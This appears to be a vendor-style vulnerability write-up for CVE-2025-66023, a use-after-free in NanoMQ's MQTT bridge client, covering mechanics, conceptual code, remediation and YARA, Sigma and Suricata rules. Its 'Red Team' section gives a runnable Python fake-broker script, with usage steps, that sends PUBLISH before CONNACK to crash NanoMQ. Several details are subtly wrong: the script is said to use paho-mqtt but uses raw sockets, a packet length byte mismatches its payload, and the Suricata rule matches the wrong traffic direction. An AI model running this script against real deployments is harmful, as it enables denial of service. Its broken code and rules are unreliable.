CVE-2025-66023
Executive Summary
CVE-2025-66023 is a critical Heap-Use-After-Free (UAF) vulnerability in NanoMQ MQTT Broker, specifically within the MQTT bridge client component implemented via the underlying NanoNNG library. The vulnerability is triggered when NanoMQ acts as a bridge connecting to a remote MQTT broker. A malicious remote broker can trigger a crash (Denial of Service) or potential memory corruption by accepting the connection and immediately sending a malformed packet sequence. The vulnerability affects versions prior to 0.24.5. The patch enforces stricter protocol adherence, ensuring CONNACK is always the first packet processed, preventing the state confusion that leads to the UAF.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NanoMQ is distributed as a binary package and source code. The vulnerability exists in the NanoNNG library, which is a core dependency. Users should verify the integrity of their NanoMQ installation and ensure they are using version 0.24.5 or later. The patch is available in the official NanoMQ repository.
CVSS Breakdown & Threat Level
The CVSS score is not provided in the NVD data. However, based on the nature of the vulnerability (Heap-Use-After-Free leading to potential remote code execution or denial of service), the estimated CVSS score is high (likely 8.0-9.0). The attack vector is network-based, requires low complexity, and no privileges, but user interaction is not required. The impact on confidentiality, integrity, and availability is high.
Deep Dive & Mechanics
The vulnerability is a Heap-Use-After-Free (UAF) in the MQTT bridge client component of NanoMQ. When NanoMQ acts as a bridge to a remote MQTT broker, it establishes a connection and expects a CONNACK packet as the first response. A malicious broker can send a malformed packet sequence immediately after accepting the connection, before the CONNACK is processed. This causes the NanoMQ client to free memory that is still in use, leading to a use-after-free condition. This can result in a crash (Denial of Service) or potential memory corruption that could be exploited for arbitrary code execution.
The root cause is improper state management in the MQTT client SDK (NanoNNG). The client does not enforce that CONNACK is the first packet, allowing other packets to be processed before the connection is fully established. The patch fixes this by ensuring CONNACK is always the first packet processed.
Vulnerable vs. Patched Code
The vulnerable code is in the NanoNNG library's MQTT client implementation. The patch enforces stricter protocol adherence by checking that the first packet received after a CONNECT is a CONNACK. If any other packet is received, the connection is terminated.
Vulnerable Code (Conceptual):
// In the MQTT client, after sending CONNECT, it processes any incoming packet
void mqtt_client_process_packet(client *c, packet *p) {
// No check for CONNACK first
if (p->type == PUBLISH) {
// Process publish - this can happen before CONNACK
handle_publish(c, p);
} else if (p->type == CONNACK) {
handle_connack(c, p);
}
// ...
}
Patched Code (Conceptual):
void mqtt_client_process_packet(client *c, packet *p) {
// Ensure CONNACK is the first packet
if (!c->connack_received) {
if (p->type != CONNACK) {
// Malformed sequence, disconnect
disconnect(c);
return;
}
c->connack_received = true;
handle_connack(c, p);
return;
}
// Process other packets after CONNACK
if (p->type == PUBLISH) {
handle_publish(c, p);
}
// ...
}
Exploitation & Lab Setup
Red Team
To exploit this vulnerability, an attacker needs to set up a malicious MQTT broker that accepts connections from NanoMQ and immediately sends a malformed packet sequence. The following is a conceptual Python script using the paho-mqtt library to simulate a malicious broker.
import socket
import struct
def malicious_broker():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', 1883))
server_socket.listen(5)
print("Malicious broker listening on port 1883...")
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
# Receive CONNECT packet from NanoMQ
data = client_socket.recv(1024)
print(f"Received: {data.hex()}")
# Send a malformed packet (e.g., PUBLISH) before CONNACK
# This triggers the UAF
malformed_packet = bytes([0x30, 0x0D, 0x00, 0x05, 0x74, 0x6F, 0x70, 0x69, 0x63, 0x48, 0x65, 0x6C, 0x6C, 0x6F])
client_socket.send(malformed_packet)
# Optionally send CONNACK later
connack = bytes([0x20, 0x02, 0x00, 0x00])
client_socket.send(connack)
client_socket.close()
if __name__ == "__main__":
malicious_broker()
Usage:
- Run the malicious broker script on a machine accessible to the NanoMQ instance.
- Configure NanoMQ to bridge to the malicious broker's IP address.
- When NanoMQ connects, the malicious broker sends a malformed packet, triggering the UAF and causing a crash.
Blue Team
To detect exploitation attempts, monitor for unusual MQTT traffic patterns, especially packets received before CONNACK. Use network monitoring tools to capture MQTT packets and alert on any packets other than CONNACK as the first response.
Detection Steps:
- Monitor MQTT traffic for packets received before CONNACK.
- Use Suricata rules to detect malformed MQTT packets.
- Enable logging on NanoMQ to capture connection events and errors.
Indicators of Compromise (IOCs)
- Network IOCs:
- MQTT packets received before CONNACK from a broker.
- Rapid connection/disconnection patterns.
- Malformed MQTT packets with unexpected types.
- Host IOCs:
- NanoMQ crash logs or core dumps.
- Memory corruption errors in system logs.
- Unexpected termination of NanoMQ processes.
Detection Engineering
YARA Rule
rule CVE_2025_66023_NanoMQ_UAF {
meta:
description = "Detects malformed MQTT packets that trigger CVE-2025-66023"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66023"
strings:
$mqtt_connect = {10 ?? 00 04 4D 51 54 54} // CONNECT packet
$mqtt_connack = {20 02 00 00} // CONNACK packet
$mqtt_publish = {30 ??} // PUBLISH packet
condition:
$mqtt_connect and not $mqtt_connack and $mqtt_publish
}
Sigma Rule
title: CVE-2025-66023 NanoMQ UAF Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects malformed MQTT packets that trigger CVE-2025-66023
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
- event_type: "alert"
alert.signature_id: 3000001
condition: selection
falsepositives:
- Legitimate MQTT traffic with unusual ordering
level: high
Suricata Rule
alert tcp any any -> any 1883 (msg:"CVE-2025-66023 NanoMQ UAF - Malformed MQTT Packet"; flow:to_server,established; content:"|10|"; depth:1; content:"|00 04 4D 51 54 54|"; distance:0; within:6; content:"|30|"; distance:0; within:1; sid:3000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade NanoMQ to version 0.24.5 or later.
- If upgrade is not possible, validate the remote broker before bridging (workaround).
- Restrict network access to trusted MQTT brokers only.
Long-term Measures:
- Implement network segmentation to isolate MQTT traffic.
- Use TLS encryption for MQTT connections to prevent man-in-the-middle attacks.
- Monitor for unusual MQTT traffic patterns.
- Regularly update NanoMQ and its dependencies.
Patch Details: The patch is available in NanoMQ version 0.24.5. It enforces stricter protocol adherence in the MQTT client SDK, ensuring CONNACK is always the first packet processed. This prevents the state confusion that led to the Heap-Use-After-Free.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert